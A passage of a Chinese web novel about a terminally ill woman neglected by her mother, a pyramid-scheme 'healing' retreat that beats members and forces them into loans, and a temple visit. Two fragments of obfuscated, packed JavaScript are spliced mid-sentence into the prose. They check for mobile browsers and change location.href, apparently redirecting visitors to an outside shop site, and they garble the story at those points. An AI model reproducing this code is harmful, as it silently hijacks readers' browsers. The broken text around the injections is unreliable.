她提起余知遇时,脸上才露出几分真切的笑意,眼角的细纹也柔和了些,“再说了,万一你要是一不小心……”她没继续说下去,“那就是凶宅,肯定卖不出好价钱,到时候知遇的房子就泡汤了。” “原来你是怕我死在那个房子里面。”余夏喃喃地重复着这几个字,心脏像是被一只冰冷的手紧紧攥住,疼得她几乎喘不过气。 她看着闻溪那张妆容精致的脸,忽然觉得无比陌生。这是她的母亲啊,在她生命垂危的时候,最先考虑的不是她的死活,而是房子能不能卖个好价钱。 “知遇最近也忙,没时间来看你。”闻溪像是没察觉到余夏的失落,自顾自地往下说,语气里带着一丝炫耀,“她之前被裁员了,幸好新找的对象有本事,帮她找了份好工作,待遇比以前还好呢。” 她顿了顿,像是在为余知遇开脱,“你也知道,刚上班事情多,她也是身不由己。” 余夏没有说话,只是静静地看着闻溪。 她想问问,再忙,抽空来看一眼快要死的妹妹,就那么难吗?可话到嘴边,又被她咽了回去。 她知道,问了也是白问,只会换来闻溪的不耐烦和更多的借口。 病房里沉默了片刻,只有墙上的挂钟在“滴答滴答”地走着,像是在倒数着余夏所剩无几的时光。 余夏深吸了一口气,用尽全身力气,再次开口:“房子卖掉……你住哪里?还跟着知遇一起住吗?” 闻溪脸上立刻露出理所当然的神情,她点点头,语气笃定:“那肯定的。我这辈子,到死都要跟知遇住一起。她结婚了我也跟着,帮她带小孩,看着她过得好好的,我就放心了。” 她说这话时,眼神明亮,充满了对未来的憧憬,那憧憬里,没有一丝一毫余夏的位置。 余夏的心彻底沉了下去,像坠入了无边的冰窖。她张了张嘴,想问“那我呢”,想问“我该去哪里”,想问“我也是你的女儿啊”。 可话到喉咙口,却像是被什么东西堵住了,怎么也说不出来。她太清楚答案了,那答案一定会像一把锋利的刀,将她最后一点尊严割得粉碎。她只能死死地咬着嘴唇,任由苦涩的泪水在眼眶里打转,却倔强地不让它掉下来。 闻溪似乎没注意到余夏的异样,她端起保温壶,又舀了一勺白粥递过去:“来,再喝点。” 见余夏没动,她又接着说,“说起来,幸好你那套房子早早就卖掉了,现在房价一直在跌,要是再晚些,可就亏大了。” 她的目光在余夏脸上转了转,语气带着一丝试探,“对了,你之前不是还有些存款吗?现在用得怎么样了?够不够用?” 余夏的心猛地一紧,原来绕了这么久,她是在打探自己的存款。 她垂下眼睑,遮住眼底的失望与悲凉,声音依旧微弱,却带着一丝刻意的模糊:“没……没多少了,治病花得差不多了。” 闻溪皱了皱眉,似乎不太相信,但见余夏不肯多说,也没再追问。 她将保温壶盖好,站起身,理了理风衣:“粥你慢慢喝,我还有事,先走了。” 说完,她转身就走,脚步依旧轻快,没有丝毫留恋,仿佛只是来完成一项任务。 病房的门被轻轻带上,隔绝了外面的世界。 余夏躺在病床上,眼睛睁得很大,直楞楞地地盯着天花板上,努力不让眼睛里的泪水流出来,但最终还是没能忍住,泪水顺着眼角滑落,浸湿了枕巾。 她想回家,想回到那个充满回忆的房子里,平静地走完最后一程。 可她知道,那个家,再也回不去了。而她的母亲,心里从来就没有过她。 不过也好,至少自己可以了无牵挂地离开。 在此之前,她还有最后几件事情要做。 / 山海疗愈心灵谷的接待厅装得像模像样,原木色的桌椅搭配着墙上“净化心灵,重塑人生”的标语,空气里弥漫着高级的香薰味。 江月再次来到这里,不过这次不是跟赵荷花一起来搞卫生的,而是来应聘的。 “江月是吧?快坐快坐!”一个穿着亮黄色毛衣的招聘人员快步迎上来。 她看起来三十几岁的样子,脸上涂着厚厚的粉底,却盖不住眼底的狂热。 她就是这里负责招聘的人员,名叫余知遇,她一屁股坐在江月对面,双手撑在桌面上,身体前倾,语速快得像打机关枪:“我跟你说,来这里算是来对了!我才来了一个月,就赚够了市中心房子的首付!” 江月愣了愣,下意识地打量着余知遇。她的手指上戴着一枚崭新的钻戒,虽然款式普通,但在灯光下闪着刺眼的光;手腕上缠着一串佛珠,却被她晃得叮当响,与她急切的神情格格不入。 余知遇的眼睛亮得惊人,像是燃烧着一团火,说话时唾沫星子偶尔溅出来,她自己却浑然不觉,只顾着滔滔不绝:“你知道我是怎么赚的吗?就靠拉人来买课程!我把我妈、我妈的亲戚、我闺蜜全都拉来了,她们又各自拉了自己的朋友、同事,发展下线!你看,这是我的业绩表!” 她猛地从抽屉里抽出一张打印纸,拍在江月面前,上面密密麻麻地列着名字和金额,用红笔圈出的数字格外扎眼。 余知遇的手指在纸上飞快地滑动,语气里满是炫耀:“看见没?只要拉来一个人,你就能拿提成,下线再拉人,你还能拿!我现在每个月躺着都能赚钱,比那些朝九晚五的上班族强多了!” 她的脸颊因为激动而涨得通红,嘴角咧到耳根,眼神里的狂热几乎要溢出来,仿佛江月不是来应聘的,而是她即将到手的“业绩”。 江月的心沉了沉,指尖攥得更紧了,她看着余知遇那张近乎癫狂的脸,忽然觉得有些可怕——这个女孩的眼神里没有丝毫犹豫和愧疚,只有对金钱的极度渴望,像是被某种无形的力量洗脑了,彻底丧失了判断力。 “可是……这不是传销吗?”江月下意识地问了一句。 余知遇像是听到了什么笑话,猛地拍了一下桌子,哈哈大笑起来:“传销?你懂什么!这叫资源共享!我们是在传播正能量,让更多人摆脱焦虑,走向成功!你看这环境,这标语,哪点像传销?” 她凑近江月,压低声音,语气里带着诱惑和紧迫感,“我跟你说,现在名额不多了,马上就要截止了!你要是现在加入,我还能带你,让你少走弯路,用不了多久你也能买房买车!错过这个村,可就没这个店了!” 她的眼睛死死地盯着江月,像是在催促,又像是在施压,仿佛江月不答应,就是错失了天大的机会。 江月敷衍地笑了笑,借口说要去趟洗手间,起身离开了接待厅。 她没有去洗手间,而是沿着熟悉的回廊往后面走——她之前在这里做过保洁,对这片看似清幽的山谷再熟悉不过,那些隐蔽的回廊、锁着的偏殿,都藏着不为人知的角落。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119742|195957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 上次离开时,她把一个充电宝落在了之前的保洁休息室,现在正好去取回来。 江月本来还觉得这里似乎有些蹊跷,想要打入内部探寻一下,没想到这里竟然是传销组织,难怪天天人来人往的。 还是不要蹚这趟混水了,等下吃不了兜着走,江月决定拿完充电宝就离开。 回廊里静悄悄的,只有风吹过树叶的沙沙声,与接待厅的热闹形成鲜明对比。 快到休息室时,一阵沉闷的撞击声忽然从隔壁的房间传来,紧接着是男人的闷哼。 江月的脚步顿住了,心脏猛地一跳。她记得这个房间,之前做保洁时从来没打开过,门锁得死死的,当时她还好奇里面是什么。 她屏住呼吸,悄悄凑近门板,将耳朵贴了上去。 “砰!”又是一声巨响,像是有人被狠狠踹在了地上。“你他妈倒是说话啊!没钱?没钱不会想办法吗?”一个粗哑的男声响起,语气里满是暴戾,带着不容置喙的压迫感。 江月透过门板的缝隙往里看,只见一个身材高大的男人正站在房间中央,穿着黑色的T恤,手臂上纹着一条狰狞的龙,脸上横肉丛生,眼神凶狠得像要吃人。 他的脚踩在另一个男人的背上,那个男人蜷缩在地上,穿着单薄的衬衫,领口被扯得歪歪斜斜,头发凌乱,脸上青一块紫一块,嘴角还挂着血丝,看起来狼狈不堪。 “张哥……我真的没钱了……”地上的男人声音颤抖,带着哭腔,气息微弱,“我已经把我所有的积蓄都拿来买课程了,亲戚朋友也都借遍了……” “借遍了?那你不会贷款吗?”被称作张哥的男人冷笑一声,脚下又用了用力,地上的男人发出一声痛苦的哀嚎。 那个被叫做张哥的人蹲下身,一把揪住男人的头发,迫使他抬起头,眼神里的凶狠中带着一丝虚伪的关切:“我跟你说,不是我逼你,我是为你好!你想想,只要你再投一笔钱,发展几个下线,之前的损失不就都回来了?到时候还能赚大钱!” 地上的男人痛苦地皱着眉,眼泪和汗水混在一起,顺着脸颊滑落:“可是……贷款我也还不上啊……” “还不上?”张哥嗤笑一声,松开了揪着头发的手,拍了拍男人的脸,动作粗暴却语气温和,“你傻啊?我们这里就能给你贷款!利率比外面低多了,几乎等于白给你钱用!等你赚了钱,再慢慢还,多好的事儿?” 他站起身,双手抱在胸前,居高临下地看着地上的男人,眼神里带着威胁,“我告诉你,别不识好歹!今天这贷款你贷也得贷,不贷也得贷!不然,你以为你能走出这个门?” 地上的男人浑身发抖,眼神里充满了恐惧和绝望。他看着张哥那张凶神恶煞的脸,又想到外面那些被洗脑的人,一时间不知道该怎么办。 他想反抗,可看着张哥高大的身材和手臂上的纹身,又没了勇气,想答应,可心里清楚,这贷款就是一个无底洞,一旦踏进去,就再也爬不出来了。 江月的后背惊出了一身冷汗,手脚冰凉。 她猛地捂住嘴,不让自己发出声音,心脏狂跳得像是要从嗓子眼里蹦出来。原来这里不仅是传销,还干着放高利贷的勾当! 那些所谓的疗愈课程,不过是他们圈钱的幌子,一旦有人没钱继续投入,他们就会用暴力胁迫,让对方贷款,把人牢牢地套在这个陷阱里。 她想起之前在这里做保洁时,偶尔看到有人被所谓的工作人员看管着,不许随意走动,当时她还以为是学员太投入,现在想来,那些人根本就是被限制了自由! 可下一秒,江月的心里又升起一丝冷漠,宁歌似乎也和这个组织有脱不开的关系。 不过宁歌那个人,向来贪慕虚荣,总想着不劳而获,这次会被骗来,说到底也是她自己活该,是她的命数将尽。 这个念头一出,江月自己都吓了一跳,但她很快就压了下去——现在不是想这些的时候,她必须赶紧离开这里,否则一旦被他们发现,后果不堪设想。 她小心翼翼地后退,脚步轻得像猫,沿着回廊飞快地往大门方向跑。 接待厅里余知遇还在热情地打着电话,嘴里说着:“姐,我跟你说,这是个难得的机会”,那狂热的声音在江月听来,像是来自地狱的催命符。 江月不敢回头,一路跑出了山海疗愈心灵谷,直到站在山谷外的大路上,感受到阳光洒在身上,才敢大口地喘气。 她回头看了一眼那片被绿树环绕的山谷,只觉得那里阴森恐怖,像是一个巨大的坟墓,埋葬着无数人的梦想和希望。 11. 第三章(3) 江月刚跑出山海疗愈心灵谷的大门,胸口因急促呼吸而起伏,指尖上还残留着门板的冰凉触感。 阳光刺眼,她抬手挡了挡,却瞥见不远处的石板路上,一男一女正拉扯着走来。 是林影和张怀野。 林影穿着一件黑色的羊毛大衣搭配半身裙,乌黑的长发松松地挽在脑后,露出光洁的额头和线条柔和的下颌。 她的皮肤白皙,没施粉黛,唯有唇色透着自然的淡粉,只是此刻眉头紧紧蹙着,眼神里满是不耐,像是被什么东西烦扰着。 她的手腕被张怀野攥着,脚步拖沓,每走一步都带着明显的抗拒,裙摆被扯得微微歪斜。 张怀野穿着宽大的羽绒服和牛仔裤,头发梳得一丝不苟,脸上带着几分刻意的温和,只是眼底藏着不易察觉的焦灼。 他紧紧攥着林影的手腕,力道不算重,却足够让她无法挣脱。 “林影,就当是陪我去一趟,好不好?”他的声音放得很低,带着一丝恳求,“你妈好心给你报的芳疗课程,我总不能驳了她的面子。我想和她搞好关系,也是为了我们以后能和睦相处啊。” 林影猛地停下脚步,用力甩开他的手,手腕上留下一道淡淡的红痕。“我不喜欢!” 她的声音不算大,却带着不容置疑的坚定,“什么芳疗音疗的,我一点都不感兴趣,那些花香闻着就让人难受,会影响我对食物味道的感知。你知道的,做菜对我来说有多重要。” 她抬手揉了揉被攥红的手腕,眉头蹙得更紧了,眼神里的不耐几乎要溢出来,“而且我不需要什么东西来疗愈自己,让自己感到平静,我只需要站在厨房里,将食材变成一道道菜肴,自然就平静了。” 张怀野脸上的温和僵了一下,随即又换上一副苦口婆心的模样。“来都来了,先试试看嘛,不行我么就回去,就当来旅游了。” 他上前一步,试图再次拉住林影的手,却被她侧身躲开。“就当是为了我,行不行?” 他的语气里带着一丝委屈,甚至有几分卑微,“你知道的,你妈妈一向看不上我,觉得我高攀了你,她让我带你来上这些疗愈课程,不光是为了你好,也是在考验我,看我是不是真的关心你,在意你,看我能不能好好照顾你,不然我真担心她不让我跟你去领证。” 林影看着他,眼神复杂,有不耐,有无奈,还有一丝不易察觉的失望。 她沉默了片刻,终究还是松了口,只是语气依旧冷淡:“好吧,我去。但我先说清楚,我只是去应付一下,别指望我会喜欢。” 张怀野立刻露出如释重负的笑容,眼底的焦灼散去不少。“好好好,应付一下就行,谢谢你。”他说着,小心翼翼地护着林影往疗愈基地里走,像是生怕她中途反悔。 就在这时,张怀野的目光无意间扫过站在路边的江月,脸色微微一变,随即又恢复了平静,只是眼神里多了几分探究。 江月心里咯噔一下,下意识地想躲开,却已经来不及了。 她定了定神,扯出一个勉强的笑容,主动点了点头,算是打过招呼。 “江月?你怎么在这里?”张怀野停下脚步,语气里带着一丝试探,目光在她身上打量着,像是在判断她的来意,又跟身旁的林影介绍江月:“还记得她吗?我们拍婚纱照那个地方的妹妹,还是我们的粉丝呢!” “我……我来这边打零工。”江月的声音有些干涩,她下意识地攥紧了衣角,心里有些慌乱。 张怀野哦了一声,没再多问,只是眼神里的探究依旧没有散去。 就在这时,不远处传来一阵急促的脚步声,伴随着一个女人的声音:“怀野哥!真的是你!” 江月循声望去,只见一个穿着时髦的女人快步走来。 她留着一头波浪卷发,化着精致的妆容,口红是鲜艳的正红色,身上穿着一件亮片连衣裙,手里拎着一个名牌包,浑身上下都透着张扬的气息。 她的眼睛很大,此刻正亮晶晶地看着张怀野,脸上带着刻意的亲昵和喜悦。 然而,当张怀野看到这个女人时,脸色瞬间变得惨白,他下意识地往后退了一步,身体微微僵硬,眼神里充满了慌乱,甚至不敢直视那个女人的眼睛。 “你……你怎么来了?”他故作镇定,声音带着一丝不易察觉的颤抖。 江月看着张怀野突变的脸色,心里立刻有了答案——这个女人,一定是张怀野的出轨对象。否则,他不会露出这样惊慌失措的神情。 那个女人走到张怀野面前,丝毫没有察觉到他的异样,或者说,她根本就是故意的。 她的目光在张怀野和林影之间扫了一圈,看到林影时,眼神里闪过一丝轻蔑,又夹杂着些许可惜,随即又转向张怀野,语气亲昵:“我看到网上很多人来这边打卡,于是也来看看。” 张怀野的脸色更加难看了,他慌乱地摆了摆手,语气急促:“我和我老婆一起来参加课程的。”说着又跟林影介绍:“她叫程璐薇,跟我一样也是做自媒体的,我们一起参加品牌活动的时候认识的。” 林影朝程璐薇点头示意,脸上没什么表情,她似乎对眼前的闹剧毫不在意,只是淡淡地瞥了一眼对方,又看了看张怀野慌乱的样子,嘴角勾起一抹不易察觉的嘲讽。 修罗场真好看,江月还想继续留下来看好戏,却在此时接到了一个意想不到的电话,只能快速离开。 江月不知道的是,林影最终跟张怀野还有程璐薇一起走进了芳疗课程的教室。 因为工作人员说已经购买的课程不能退款,但可以换不同种类的疗愈课程,于是她们一行三人开始了各种试课。 芳疗教室里弥漫着浓郁的花香,混合着各种精油的味道,让她几欲作呕,没料到程璐薇也一样,两人相见恨晚,对味道的敏感让她们大聊特聊,将张怀野甩在一边,只能独自尴尬地挠头。 当尝试瑜珈和普拉提之类的身体疗愈课程时,导师在林影的的肩膀、手臂上摸来摸去,试图引导她“感受能量“,这让她浑身不自在,只想立刻逃离。 程璐薇更是破口大骂,说导师是臭流氓,弄得现场尴尬不已,还是工作人员出来打圆场,说可以再试试别的疗愈项目。 可后来的音疗课程也没好到哪里去,舒缓的音乐在她听来枯燥乏味,让她昏昏欲睡,张怀野更是打起了呼噜,被程璐薇一巴掌拍醒。 直到颂钵被敲响的那一刻———低沉、悠远的声音像是从遥远的天际传来,带着一种奇异的穿透力,瞬间抚平了林影心中的烦躁。 她看着那个铜制的颂钵,在导师的敲击下发出悦耳的声响,忽然觉得无比安心。 程璐薇倒是没什么特殊的感觉,只不过也不反感,安安安静地上完了一堂课。 林影还特意花大价钱购买了一只颂钵回家,每当张怀野在她耳边絮絮叨叨,说着要和王子英搞好关系,说着各种她不感兴趣的话题时,她就会拿起颂钵,轻轻敲一下。 “咚——” 悠远的声音响起,张怀野的话语瞬间被淹没。 他看着林影手里的颂钵,想说什么,却被那声音镇住,只能悻悻地闭上嘴。 林影看着他憋屈的样子,嘴角终于露出了一抹真心的笑容。 她喜欢颂钵,无关乎什么疗愈,无关乎什么能量,只是因为它能让张怀野闭嘴,能让她在喧嚣的世界里,找到一片属于自己的宁静。 就像做菜一样,这才是她真正需要的平静。 等工作人员问她们需不需要续费课程的时候,程璐薇把对方骂了个狗血淋头,说有人对自己耍流氓,她没报警要精神损失费就不错了,工作人员只得悻悻地赔礼道歉,说可以赠送课程,免费来体验。 程璐薇说不需要事后的赔礼道歉,让她们遵纪守法,不要违背公序良俗,不然会有报应的,她说着还看了一眼张怀野,张怀野只得附和着说没错,然后带着林影赶紧离开。 / 打电话给江月的的人是余夏,那个躺在临终医院里、瘦得只剩一把骨头的女人。 “江月,能不能请你帮个忙?我想找个人带我去寺庙许愿,想来想去,只想到了你。” 江月愣了愣,脚步停在路边的小溪边上,阳光洒在水面上,反射出斑驳的光影。 她和余夏只见过那一次,还是之前替赵荷花去医院当护工时候见到的,其实也是江月刻意制造出来的机会,专门去见余夏的。 得知余夏没剩几个月后,她的内心没有丝毫喜悦或者悲伤,只有愤怒。 既然你迟早都要死,怎么当初不代替我姐去死呢? 但见到余夏孤零零地躺在病床上,时日无多时,她又觉得老天真是残忍,为什么会让人遭受这么多的痛苦。 为什么?这个世界上竟然没有一个人在幸福? 江月猜测难不成是余夏发现了什么?不过她很快否定了这个设想,她很清楚自己并没有暴露出来什么,甚至没有刻意和余夏说上话。 当年那件事情发生的时候,自己年纪还小,也和这群人没什么交集,不可能有人会注意到自己。 江月没有说话,只听溪水潺潺,余夏也跟着她沉默,过了很久,江月才问:“为什么是我?” 余夏回答得很快,像是提前准备好了这个问题,她诚恳道:“不知道,就是觉得跟你很有缘分。上次听你说话,声音亮亮的,带着劲儿,像生机勃勃的野草,我想沾沾你的运气,让这股劲儿传染给我,打败我身体里的癌细胞。” 江月听到生机勃勃四个字,嘴角不自觉地牵了牵,眼底却掠过一丝复杂,只是听到电话那头那点微弱的希冀,她终究还是心软了。“好,可以,我答应你。” 约定好时间,江月第二天一早就去了临终医院。 今天开始变天了,冬日久违的寒潮最终赶走了暖阳,路上的行人都捂得严严实实的。 江月问余夏需不需要改时间,余夏说自己的时间本就不多,今天就是余生当中最好的一天,不用再改日子了。 到达医院时,余夏已经收拾好了,护士帮她里三层外三层地穿了很多衣服,脸上戴着口罩,叮嘱她一定不能摘下,现在冬季病毒性感冒正流行呢,她的免疫系统可受不了再多一点点病毒的攻击了,脑袋上还罩着一顶巨大的毛茸茸的帽子。 临终医院对病人没有什么特别的要求,只希望她们能做自己想做的事情,所以对余夏的外出请求很快便批准了,还问需不需呀别的护工随行,医院都可以提供支持,余夏说不需要,只需要江月就可以了。 余夏比上次见面时更瘦了,颧骨高高凸起,眼窝深陷,唯有一双眼睛,在看到江月时,亮了些许。 “麻烦你了。”余夏的声音很轻,带着病气,她想自己站起来,却踉跄了一下,江月赶紧上前扶住她。 余夏的手臂细得像竹竿,皮肤凉得像冰,江月下意识地握紧了些,想给她传递一点温度。 “慢点,不急。”江月的声音放得很柔,她推着坐在轮椅上的余夏慢慢走到医院门口,拦出租车成了难题。 临终医院的位置偏僻,来往的出租车本就少,网约车也始终没叫到,偶尔有车接单,看到余夏这副病恹恹的样子,好几辆车都径直开走了,生怕惹上麻烦。 江月站在路边,额头上渐渐渗出了薄汗,她扶着余夏在路边停下,自己则往前走了一段,伸长脖子张望着,时不时挥手拦车。 余夏坐在轮椅上,安静地看着她的背影,眼神里带着一丝歉意:“是不是太麻烦你了?不然……我们还是回去吧。” “不麻烦,再等等。“江月回头冲她笑了笑,笑容干净又坚定。 又过了十几分钟,江月看着在寒风中裹得严严实实的余夏,一狠心叫了一辆超豪华专车,等车到来时,江月赶紧跑过去,跟司机师傅说了半天,师傅才同意载她们。 豪华专车贵是贵,居然还有无障碍服务,江月小心翼翼地推着余夏顺着踏板上车,给她系好安全带,又把车窗降下一点,让新鲜空气能透进来。 余夏好久没出来了,她兴奋地左看右看,手里不停地摸来摸去,开心道:“这还是我第一次坐豪车呢,以前省吃俭用,总想着把钱存下来,等着以后急用,没想到居然是急用到自己的癌症上。” 她看起来十分豁达,对着江月不停地说感谢,“真是谢谢你,不然我这辈子都没机会坐上这种豪车了。” 江月十分不好意思,之前自己还诅咒她早点死呢,于是悄悄避开了余夏真挚热情的视线,推阻道:“不……不客气的。” 出租车沿着蜿蜒的山路往上开,窗外的风景渐渐变了,取而代之的是落光了叶子的光秃秃的树林,早晨山间的雾气还未散尽,像一层薄薄的轻纱,笼罩着远处的山峦,清冷的空气里有泥土的气息,沁人心脾。 余夏靠在车窗上,微微眯着眼,看着窗外飞速掠过的风景,苍白的脸上因为兴奋而显出一道红晕,让她看起来没那么憔悴了。 她的嘴角始终带着一丝浅浅的笑意,像是在享受这难得的自由与清新。 江月看着她的样子,心里也松了口气,直到车子停在山脚下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119743|195957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 余夏指着不远处一座红墙黛瓦的建筑说:“就是那里。“ 江月抬头望去,那是一座不算太大的寺庙,掩映在绿树丛中,山门上方挂着一块牌匾,写着“送子观音庙“五个鎏金大字,字体古朴苍劲。 她愣了一下,没料到余夏要去的竟然是送子观音庙。 寺庙里很安静,只有偶尔传来的钟声和僧人的诵经声。 青石板路被打扫得干干净净,两旁种着高大的松柏,在这冬日里依然枝叶繁茂,遮天蔽日。 寺庙里信众来往,香火袅袅,人声鼎沸,空气中弥漫着檀香的味道,让人不自觉地静下心来。 江月扶着余夏,慢慢沿着青石板路往里走,路过两旁的偏殿,最后来到主殿。 主殿里供奉着送子观音的雕像,观音娘娘面容慈祥,眼神悲悯,手持净瓶,普度众生。 余夏让江月找了个蒲团,她慢慢跪了下去,双手合十,闭上眼睛,嘴里念念有词。 她的身体微微颤抖着,单薄的身体看起来格外脆弱,却又透着一股执拗的虔诚。 江月站在一旁,安静地看着她,没有说话,生怕打扰了她的许愿。 阳光透过殿内的窗棂照进来,落在余夏的身上,像是给她披上了一层圣洁的纱衣。 过了好一会儿,余夏才慢慢睁开眼睛,缓缓站起身。 江月赶紧上前扶住她,发现她的眼角湿漉漉的,像是哭过了。 “你许了什么愿?“江月轻声问。 余夏抹了抹眼角,嘴角带着一丝释然的笑容,语气却带着一丝怅然:“我求观音娘娘,下次投胎,一定不要把我送到不爱自己的家庭里了。“ 江月的心猛地一揪,看着余夏苍白而脆弱的脸,一时间不知道该说什么。 她能想象到余夏这一辈子过得有多苦,母亲不爱,姐姐不亲,到了临终,连一个安稳的住处都没有。 余夏像是看穿了她的心思,轻轻笑了笑,转而问她:“江月,你下辈子还愿意降临在你现在的这个家庭里面吗?“ 江月毫不犹豫地点了点头:“非常愿意。“ 她的家庭不算富裕,母亲和姐姐却给了她全部的爱和温暖。 余夏点了点头,心想这个世界果然还是幸福的人多啊,她问:“那你有什么愿望?不跟观音娘娘说说吗?“ 江月看着观音娘娘慈祥的面容,轻轻摇了摇头,嘴角带着一丝苦涩:“我的愿望,观音娘娘也没办法做到。“ 她的愿望很简单,想让母亲和姐姐继续活在这个世界上,想让那场事件没有发生,想让逝去的人都能好好地活在这个世界上。 可这些,都是不可能实现的奢望。 余夏深深地看了她一眼,眼神里带着探究:“我总觉得你很特别。你看起来明明是个年轻人,却没有年轻人该有的天真无邪,反而像背负了非常多沉重的东西,压得你喘不过气来,比我这个将死之人还痛苦。“ 江月的心猛地一沉,脸上的表情有些不自然。她下意识地避开了余夏的目光,声音有些干涩:“你看错了。“ 她不想让别人看到她的脆弱,不想让别人知道她心里的伤痛。 这么多年来,她一直都在伪装自己,假装自己已经走出了阴影。 可当母亲去世之后,她才知道,那些伤痛一直都在,只是被她小心翼翼地藏了起来。 余夏没有再追问,只是轻轻叹了口气。 她能感觉到江月身上的沉重,那种深入骨髓的悲伤,不是假装就能掩盖的。 两人沿着青石板路慢慢往回走,寺庙里的钟声在此刻响起,宛如命运的鼓点,沉重浑厚。 江月忽然开口,声音很轻,却带着一丝认真:“小夏姐,你清晰地知道自己快要死掉的感觉,是什么样的?“ 余夏愣了一下,低头看了看自己枯瘦的手,沉默了片刻,才缓缓开口:“是不舍。“ 她的声音很轻,带着一丝怅然,“还有很多没享受到的东西,还没好好看过这个世界,还没吃过几顿顺心的饭,还没体会过被人真心疼爱是什么感觉。“ 她顿了顿,眼神里闪过一丝愤怒,语气也变得有些激动:“还有不甘。我这一辈子,没做过什么坏事,一直都在尽力做好人,对母亲尽孝,对姐姐体贴,问心无愧。可为什么要死的是我?那些作恶多端的人,那些不珍惜生命的人,反而活得好好的。死的应该是他们才对。“ 江月静静地听着,没有说话。 她能理解余夏的不甘,那种明明自己没做错什么,却要承受所有苦难的委屈,她也体会过。 “那你现在想做什么?“江月看着她,眼神里带着一丝真诚,“不管是想做什么,我都可以带你去做。只要你想去,我都陪你。“ 余夏摇了摇头,脸上露出一丝无奈的笑容:“没用的。我现在吃不下东西,稍微油腻一点的就想吐;想出去玩,走几步就喘得不行,体力和精力都不够了,只能躺着。“ 她的声音越来越轻,带着一丝无力,“现在能做的,也只有像这样,出来看一看,呼吸一下新鲜空气,就已经很满足了。“ 江月看着她苍白而脆弱的脸,心里泛起一阵酸楚。 她的这个问题,其实更想问姐姐,姐姐,你在临死前,有什么遗憾吗?有想要对我说的话吗?知道自己马上要死了是什么感受呢? “其实,我知道自己早晚有一死。“余夏的声音很轻,像是在自言自语,又像是在对江月说,“其实很久以前,我离死亡很近,如果当初死的是我,也许现在我的痛苦不会这么漫长了。“ 她的眼神里闪过一丝复杂的情绪,有悲伤,有庆幸,还有一丝释然,“但我还是觉得能活着真好。活着,可以工作,可以赚钱,可以买房子,可以看到每天的太阳升起,看到不同的风景。哪怕现在遇到再多的困难,哪怕现在时日无多,需要卖掉房子住进临终医院,我也真心认为,活着很好。“ 江月轻轻点了点头:“是啊,活着真好。能活着,就有希望。“ 虽然她的愿望不可能实现了,但能稍微靠近姐姐当时的想法,她也感到一丝安慰。 两人并肩走在寺庙的青石板路上,有一丝阳光透过树叶的缝隙洒下来,在她们身后拖出长长的影子。 钟声悠扬,香火袅袅,仿佛能洗去人间所有的烦恼和伤痛,满足所有人的愿望,庇佑全天下人都幸福安康。 江月扶着余夏,脚步很慢,却很坚定。 她知道,余夏的时间不多了,但她却变得更加迷茫,自己想要的到底是什么呢? 12. 妹妹日记 窗帘缝隙里钻进来的不是往常的晨光,而是一片灰蒙蒙的暗。 江月猛地睁开眼,听见窗外传来“呜呜”的风声,雨点像无数根看不见的鞭子,狠狠抽打着玻璃,发出“噼里啪啦”的脆响。 起身拉开窗帘的瞬间,一股寒气顺着窗口的缝隙往衣袖里钻,江月忍不住打了个寒颤——昨天还和煦得能晒暖后背的太阳,此刻连影子都找不到了,天空低低地压着,铅灰色的云层沉甸甸的,仿佛下一秒就要塌下来。 江月对着镜子拢了拢额前凌乱的碎发,脸色是掩不住的苍白,眼底还泛着淡淡的青黑,显然是昨夜没睡好——那些盘旋在脑海里的问题,像藤蔓一样缠得江月喘不过气。 她随手抓了件厚厚的驼色大衣套上,在门口穿靴子时,动作都有些发僵。 窗外的风还在怒吼,雨势丝毫没有减弱的意思,刮在墙上、树上,发出刺耳的声响。 那声音落在江月耳朵里,竟像是无数细碎的质问,嗡嗡地响。 抓起背包夺门而出的那一刻,冷风裹挟着冷雨瞬间扑了过来。 即使打了伞,雨丝也会从各个角度打在脸上,冰冷刺骨,像是无数根细小的冰针,扎得皮肤发麻。 江月缩着脖子,把下巴埋进大衣领里,快步往前走,路面已经积了水,靴子踩进去,“咯吱”作响。 她脑子里全是那些挥之不去的疑问,为什么她们能那样平静地面对生活?为什么有些人可以好好活着,享受阳光和温暖,而另一些人,却突兀地消失,除了自己,没人会记得她们。 这段时间宁歌、林影、余夏生活的片段,像放电影一样在眼前闪过:宁歌厚厚浓妆下疲惫的神态,林影沉默时紧抿的嘴唇,余夏说话时温柔的语调……可越是了解,江月就越是困惑。 这些问题,一次次在江月耳边响起,问江月“为什么呢?”“江月,你在干什么?” 江月想过,甚至想了无数次,可每次都只能陷入更深的迷茫。 江月找不到答案,那些疑问像沉重的石头,压在江月的胸口,让江月喘不过气。 在家里的每一个角落,沙发上、书桌前、甚至卧室的窗边,都仿佛能看到母亲和姐姐的影子,她们看着江月,眼神里带着探究和担忧,也带着江月无法理解的沉重。 以前的家是欢乐窝,是避风港,现在的家是审讯室,是窒息的空间。 风越来越大,几乎要把江月吹得站不稳。 江月加快脚步,甚至开始小跑起来,雨水打湿了江月的头发,顺着脸颊往下淌,冰凉地滑进衣领。 她不知道自己要去哪里,只是想逃,她像一只受惊的兔子,只顾着往前跑,仿佛只要跑得够快,就能把那些解不开的困惑甩在身后。 路边的行人很少,偶尔有几个撑着伞的,也都缩着身子,步履匆匆。 天气预报说寒潮要持续三天,这样的狂风冷雨,还要刮三天。 江月裹紧大衣,感觉自己像被全世界抛弃了一样,孤独又无助。 那些疑问还在脑子里盘旋,像冷风一样,无孔不入。 